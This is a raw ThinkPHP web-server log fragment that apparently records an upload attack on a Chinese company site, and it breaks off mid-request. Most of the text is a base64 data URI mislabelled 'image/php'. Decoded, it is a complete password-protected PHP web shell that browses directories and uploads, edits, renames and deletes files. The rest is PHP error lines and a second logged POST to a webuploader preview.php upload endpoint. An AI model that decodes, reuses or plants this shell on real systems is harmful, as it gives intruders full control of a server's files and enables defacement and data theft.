'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:51+08:00 ] 116.213.36.234 POST www.51tianwei.com/template/admin/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.002762s] [吞吐率:362.05req/s] [内存消耗:274.57kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 